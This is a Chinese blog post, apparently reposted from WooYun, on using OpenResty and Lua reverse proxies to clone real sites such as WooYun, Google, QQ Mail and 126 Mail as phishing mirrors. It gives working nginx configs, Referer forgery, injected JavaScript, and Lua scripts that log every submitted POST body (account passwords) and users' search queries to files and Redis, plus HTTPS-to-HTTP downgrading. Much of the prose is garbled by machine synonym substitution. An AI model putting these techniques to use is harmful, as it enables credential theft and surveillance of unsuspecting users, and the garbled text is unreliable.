|
|
|
联系客服020-83701501

openresty+lua在反向代理服务中的玩法

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
openresty+lua在反向代理就事中的弄法

0x01 起因

几天前学弟给我引见他用nginx搭建的反代,代理了谷歌和维基百科。

由此我想到了一些罪过的货色:反代既然是扫数流量走我的就事器,那我是不是梗概在中途做些手脚,达到一些幽默的目标。 openresty是一款离散了nginx和lua的全听命站点就事器,我感受其脚色和tornado相通,既是一此中间件,也离散了一个后端表冥器。以是,我们大概在nginx上用lua开辟良多“幽默”的货色。

以是,这篇文章也是由此而来。

0x02 openresty的搭建

openresty是国人的一个开源样式,主页在http://openresty.org/ ,其核心nginx版本绝对较劲高(1.7.10),搭配的一些第3方模块也很富厚。

首先在官网下载openresty源码,此后我还需求一个openresty中没有的第3方库:https://github.com/yaoweibin/ngx_http_substitutions_filter_module ,同样下载上来。

编译:

Default
12 ./configure --with-http_sub_module --with-pcre-jit --with-ipv6 --add-module=/root/requirements/ngx_http_substitutions_filter_modulemake && make install

编译选项中: —with-http_sub_module 附带http_sub_module模块,这是nginx自带的一个模块,用来变迁返回的http数据包中形式。 –with-pcre-jit?—with-ipv6 供应ipv6反对 —add-module=/root/requirements/ngx_http_substitutions_filter_module(此处为你下载的ngx_http_substitutions_filter_module目录) 将刚才下载的http_substitutions_filter_module模块编译出来。http_substitutions_filter_module模块是http_sub_module的加强版,它大概用正则变迁,并大概多处变迁。

编译安设的历程没有什么难点,很快就安设好了,openresty和luajit都默认在/usr/local/openresty目录下。nginx的2进制文件为 /usr/local/openresty/nginx/sbin/nginx。

此后像正常提议nginx异样提议之。

0x03 反代目标站点

依照目标站点的不同,反代也是有难度之分的。

比如乌云,我们大概很弥留地将其反代上来。因为乌云主站有一个特性:扫数链接凡是绝对地址。以是我乃至不需求批改页面中任何形式便可残破反代。

一个繁冗demo:http://wooyun.jjfly.party ,其配置文件如下:

11 (1)

此中,location / 块即为反代乌云的配置块。

proxy_pass 是将请求交给粗鄙措置惩罚,而这里的粗鄙即是http://wooyun.com

proxy_cookie_domain是将扫数cookie中的domain变迁掉成自己的domain,达到梗概登陆的成效。

proxy_buffering off用来关闭内存缓冲区。

proxy_set_header是一个严重的配置项,使用这个项大概批改转发时的HTTP头。比如,乌云在登录当前,批改材料的时辰会验证referer,假定referer来自wooyun.jjfly.party是会提示纰谬的。以是我在这里用proxy_set_header将referer设置为wooyun.org域下的地址,从而绕过检查。

多么,做好了一个完善的“钓鱼站点”:

12 (1)

我乃至大概正常登录、批改消息:

13 (1)

但是并不是扫数站点做反代都多么繁冗,比如google。谷歌是一个https的站点,以是突出也需求一个https的配置:

14 (1)

我请求了一个SSL证书,反代法子和乌云相通。但不同的是,谷歌会检查host,假定host不是谷歌自己的域名就会强迫302跳转到www.google.com。

于是我在这里用proxy_set_header 将Host设置为www.google.com。

此外,谷歌与乌云最大的不同是,其源码中链接均为绝对于途径,以是一旦用户点击此中链接后又会跳转回谷歌去。以是,我这里使用了subs_filter模块将此中的字符窜“www.google.com”变迁成“xdsec.mhz.pw”。

这是反代中经常会遇到的状况。

那末,假定我并无前提购买SSL证书怎么办?其实我们在nginx配置中也是大概将https降成http的。比如http://qq.jjfly.party即是代理的https://mail.qq.com:

15 (1)

此外,在xui.qq.jjfly.party(登陆框的frame)中,我使用

Default
1 subs_filter </head> "<script>alert('xxx');</script><span style="font-size: 12pt; font-family: arial, helvetica, sans-serif;"><code></head>";</code> </span>

在html的标签前插入了一段javascript,通过这个法子,我大概繁冗制作一个前端的数据截取。(XSS) 打开即会弹窗:

16 (2)

在反代历程中,我们会经常和gzip打交道。理解http协定的同窗应当知道,假定阅读器发送的数据包头含有Accept-Encoding: gzip,即报告就事器:“我大概接受gzip压缩过的数据包”。这时后端就会将返回包压缩后发送,并征求返回头Content-Encoding: gzip,阅读器依照可否含有这个头对返回数据包中止解压显示。

但gzip在反代中,会构成很大题目:subs_filter变迁形式时,假定形式是压缩过的,明了就不克不及正常变迁了。同时在日记里大概看到多么的记录:

http subs filter header ignored, this may be a compressed response. while reading response header from upstream

以是网上一般措置惩罚法子是,在向上层就事器转发数据包的时辰,设置proxy_set_header Accept-Encoding ””,多么后端就事器就不会压缩数据包了。

但偶尔候,做反代的时辰会发明subs_filter的变迁奏效或一切奏效了,我在做126.com反代的时辰就遇到了这个题目。通过一段工夫的研究发明,大约和缓存有相干,缓存中的数据包是gzip压缩过的,以是就算发送Accept-Encoding=””也岂论用。 如下是http://126.jjfly.party 配置:

17 (1)

我设置了良多禁止其缓存的法子,但理论上似乎并无成效。

于是这里我想到借助lua,我想通过lua脚本在数据包返回的时辰解压缩gzip数据,并代替subs_filter中止字符串的变迁。

0x04 借助lua中止gzip解压与返回包批改

openresty在编译安设的时辰就加入了lua反对,以是无需再对nginx中止更换。但lua下对gzip中止解压,需求借助一个库:lua-zlib(https://github.com/brimworks/lua-zlib) lua是一个和C措辞离散慎密的脚本措辞,理论上lua-zlib即是一个C措辞编写的库,我们当初需求做的即是将其编译成一个音讯链接库zlib.so,让lua来引用。

Default
1234 git clone https://github.com/brimworks/lua-zlib.gitcd lua-zlibcmake -DLUA_INCLUDE_DIR=/usr/local/openresty/luajit/include/luajit-2.1 -DLUA_LIBRARIES=/usr/local/openresty/luajit/lib -DUSE_LUAJIT=ON -DUSE_LUA=OFFmake && make install

以上代码表明一下。首先履行cmake来生成编译配置文件。LUA_INCLUDE_DIR指定luajit的include文件夹,LUA_LIBRARIES指定luajit的lib文件夹。USE_LUAJIT=ON和USE_LUA=OFF指定我们使用的是luajit而不是lua:

18 (1)

再履行make && make install便可:

19 (1)

这时辰曾经编译好了zlib.so,拷贝到openresty的lib目录下便可:

cp zlib.so /usr/local/openresty/lualib/zlib.so

此后回到nginx的配置文件中,“body_filter_by_lua_file /usr/local/openresty/luasrc/repl.lua; ”这句话报告nginx我需求把返回包的body交给repl.lua措置惩罚。 repl.lua脚本:

Default
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354 local zlib = require "zlib"function decode(str)    if unexpected_condition then error() end    local stream = zlib.inflate()    local ret = stream(str)    return retend function callback()    local str = ngx.arg[1]    str = string.gsub(str, "https://", "http://")    str = string.gsub(str, "mail.126.com", "126.jjfly.party")    str = string.gsub(str, '"126.com"', '"126.jjfly.party"')    str = string.gsub(str, "'126.com'", "'126.jjfly.party'")    ngx.arg[1] = strend function writefile(filename, info)    local file = io.open(filename,"ab")    file:write(info)    file:close()end function readfile(filename)    local file = io.open(filename, "rb")    local data = file:read("*all")    file:close()    return dataend local token = getClientIp()..ngx.var.urilocal tmpfile = ngx.shared.tmpfilelocal value, flags = tmpfile:get(token) if not value then    value = "/tmp/"..randstr(8)    tmpfile:set(token, value)end if ngx.arg[1] ~= '' then    writefile(value, ngx.arg[1])endif ngx.arg[2] then    local body = readfile(value)    local status, debody = pcall(decode, body)    if status then        ngx.arg[1] = debody    end    os.remove(value)    callback()    returnelse    ngx.arg[1] = nilend

思路是个繁冗卤莽的法子:ngx.arg1是原始的body,我将之交给pcall(lua下的非常措置惩罚法子),使用zlib.inflate中止解压。假定不出非常说明解压腐化了,就将下场覆盖ngx.arg1,抛出非常了说明body大约是没压缩的,就坚持刚烈。 但理论应用中遇到几个困难:

数据包并不是一次部分交给repl.lua,而是被分成良多chunks。以是我武断了一下,当数据包没有领受残破的时辰就先保管在一个临时文件中,直到eof,我才将之解压缩发送给客户端。

多用户状况下,我需求辨别临时文件属于哪个用户。以是我将临时文件名保管在ngx.shared中,依照IP+uri武断(理论上也并不完善)。

lua生成的随机数并不会被动播种,以是我需求依照系统工夫来设置随机数种子。

末端,解压实现后我间接调用callback()函数在此中对数据包中止变迁,理论上即是实现之前subs_filter做的那些应用。 多么配置实现后,重启nginx,用阅读器接见会面将会发明一个题目:

20 (1)

提示是:ERR_CONTENT_DECODING_FAILED,但我用burpsuite发包会发明彷佛部分正常:

21 (1)

其实这个题目我之前都说了,照样和gzip有关。我们看到上图,返回包中含有Content-Encoding: gzip,当我们的阅读器检查到此头后,会认为数据包是gzip压缩过的。

但理论上我们曾经在lua中将其解压缩了,以是返回的数据其实是没压缩过的。最终导致阅读器解压犯错,构成ERR_CONTENT_DECODING_FAILED。

怎么设计?

在nginx配置中将返回包头中的Content-Encoding设置为空就好了:

22 (1)

header_filter_by_lua即是在批改返回头的配置。后面大概间接编写lua脚本,将ngx.header[“Content-Encoding”]=””。 这时便大概正常接见会面了:

23 (1)

0x05 使用lua截取数据

那末,lua除了梗概设计上述的解压缩题目之外,另有没有什么新弄法?

这时辰,应当就想到即是数据包的截获。钓鱼站点的最终目标即是取得用户的消息,我在后头说到了大概通过在前端插入javascript脚原先截取用户的输出。

但理论上这并不是最佳的设计,最佳的法子即是在后端截取数据包。

于是我来使用lua实现这个任务。首先在nginx的server块概况(主配置文件中)加入配置项:

Default
12 init_by_lua_file  /usr/local/openresty/luasrc/init.lua;access_by_lua_file /usr/local/openresty/luasrc/fish.lua;

这两项在ngx_lua_waf中也引见过。init_by_lua_file是在nginx提议的时辰加载并履行的lua脚本,access_by_lua_file是在一次HTTP请求开端前履行的lua脚本。

init_by_lua_file一般是初始化一些全局使用的函数,未几说了。说一下我写的access_by_lua_file时调用的fish.lua:

Default
12345678 local method=ngx.req.get_method()if in_array(ngx.var.host, valid_host) thenif method == "POST" then    ngx.req.read_body()    local data = ngx.req.get_body_data()    writefile("/home/wwwroot/fish/"..ngx.var.host..".txt", data .. "\n")endend

当host在valid_host(钓鱼站的host)中时,武断假定请求是POST请求,就将数据包的body写入/home/wwwroot/fish/ $ngx.var.host .txt 中。

这时,我接见会面http://126.jjfly.party/admin/126.jjfly.party.txt 便大概看到实时钓鱼的下场:24 (1)

乌云也异样:http://wooyun.jjfly.party/admin/wooyun.jjfly.party.txt

25 (1)

QQ邮箱那个因为环境太繁冗(有至多3个host需求反代),以是我甘心决意在前端插入脚本中止挟制。

除了记录用户输出的账号暗码,依照反代站点的类型不同还能截取良多幽默的货色。

比如谷歌,我大概记录访客在谷歌中查问的形式:

26 (1)

脚本也很繁冗:

Default
123456 if ngx.var.host == "xdsec.mhz.pw" then    local args = ngx.req.get_uri_args()    if args["q"] then        writefile("/home/wwwroot/fish/"..ngx.var.host..".txt",  "search: " .. args["q"] .. "\n")    endend

可见,固然你看到的流量是通过一个领有正轨的证书的https站点的。但理论上我在写lua脚本的时辰底子不用在乎流量可否加密,因为openresty总会将一个明文的数据包交给我措置惩罚。

那末:Youtube,我们大概记录访客看过哪些视频;wikipedia,我们大概记录用户搜索过哪些姿态;1024,我们大概记录哪些片子的点击率最高……(笑)

自从各大海外站点陆续从互联网上消适合前,当初镜像站点愈来愈多。但下面的案例也说清晰,镜像站点也并不一定凡是规矩的。

0x06 离散缓存与redis汲引反代恪守

固然openresty绝岂但仅是领有多么一些繁冗的听命。openresty出现的定义即是一个“全听命的 Web 应用就事器”,以是php大概有的听命它都大概办到。 繁冗来讲我们大概间接在openresty上用lua编写一个残破的音讯站点。 之前我们的反代配置,有一些没法贯注的坏处:

  1. 对gzip的反对不好,要不即是不使用压缩,要不即是需就教压,恪守较低
  2. 没有使用缓存,请求多次、并发量大的状况下nginx大约被粗鄙就事器封掉。
  3. 后端没有中止负债均衡。

假定仅仅是钓鱼的话,恪守低是题目不大的,因为接见会面量不会太大。但假定你想做一个使用量大的谷歌镜像之类的站点,就必需求思忖这个题目了。

如何缓解这个题目?

比如,我们大概使用谷歌全球的IP中止负载均衡:

Default
123456789101112 proxy_cache_path /tmp/google/  levels=1:2   keys_zone=g1:100m max_size=1g;proxy_cache_key "$host$request_uri"; upstream google{server 216.58.220.132:443 max_fails=3 fail_timeout=10s;server 131.203.2.49:443 max_fails=3 fail_timeout=10s;server 216.58.209.165:443 max_fails=3 fail_timeout=10s;server 209.85.229.53:443 max_fails=3 fail_timeout=10s;server 173.194.122.22:443 max_fails=3 fail_timeout=10s;server 216.58.209.101:443 max_fails=3 fail_timeout=10s;server 173.194.126.65:443 max_fails=3 fail_timeout=10s;}

此外,使用proxy_cache中止缓存,大概增多良多反代就事器向粗鄙就事器请求的次数,避免被封。

固然,除了使用文件缓存之外,openresty还大概使用一些恪守更高的就事,比如redis。

openresty自带了一个redis客户端lua-resty-redis:https://github.com/openresty/lua-resty-redis (openresty另有个RedisNginxModule模块,这个是反代redis请求的,并不是redis客户端) 不过,现今的openresty对于redis模块(包含扫数依托于socket的模块)的反对仅限于在rewrite_by_lua, access_by_lua, content_by_lua这3个context中,也即是说我们没法将返回的数据包储存于redis中,但我们大概将截取到的数据储存于redis中。

照样以谷歌为例,我将查问下场按照IP来存入redis:

Default
123456789101112131415161718 red = redis:new()red:set_timeout(1000)local ok, err = red:connect("127.0.0.1", 6379)if not ok then    ngx.log(ngx.WARN, "failed to connect: ", err)    returnendok, err = red:select(2)if not ok then    ngx.log("failed to select: ", err)    returnend local args = ngx.req.get_uri_args()if args["q"] then    local key = getClientIp()    local data, err = red:sadd(key, args["q"])end

再将location /result 赏析到如下lua脚本中,读取redis显示下场:

Default
123456789101112 local result = ""local ips = red:keys("*")for k1,ip in pairs(ips) do    result = result .. ip .. ":\n"    local words = red:smembers(ip)    for k2,word in pairs(words) do        result = result .. "\tSearch: " .. word .. "\n"    endendngx.header.content_type = 'text/plain';ngx.say(result)return

末端成效如图所示:

27 (1)

0x07 总结与引用

通过这篇文章,我繁冗地讲了openresty一些存心理的弄法。

说白了,即是借助其梗概截取数据包的才具,来做良多只有hacker才想做的事情。除了文中说到的弄法(钓鱼、用户隐衷探测),我还想到一些openresty大概做的大事:

蜜罐:使用lua被动截取数据包中的0day并中止分析。

流量分析与破绽被动化挖掘:将目标站点反代上来,正常阅读使用。lua在后端截取数据包并交给各种被动化分析器械分析。

低级就事的负载均衡:nginx 1.9儿女理模块被加入内核,后来候我们乃至大概用openresty作为shadowsocks的前端就事器,作负载均衡。使用lua配置多用户shadowsocks环境,让shadowsocks多用户再也不范畴于端口与暗码,而变成一个host+username+password认证的形式。

固然openresty的才具绝岂但仅是如此,照样最开端说的,openresty是一个全听命站点就事器。

但作为一个hacker,我屡屡去先挖掘这内里最存心理的一些形式,也即是我下面说的。

假定诸君有兴趣粗浅研究,都大概和我一起摸索。

[via@phith0n] 注:本文转载系通过乌云民间授权,未被乌云授权的站点请勿转载本文!

数安新闻+更多

证书相关+更多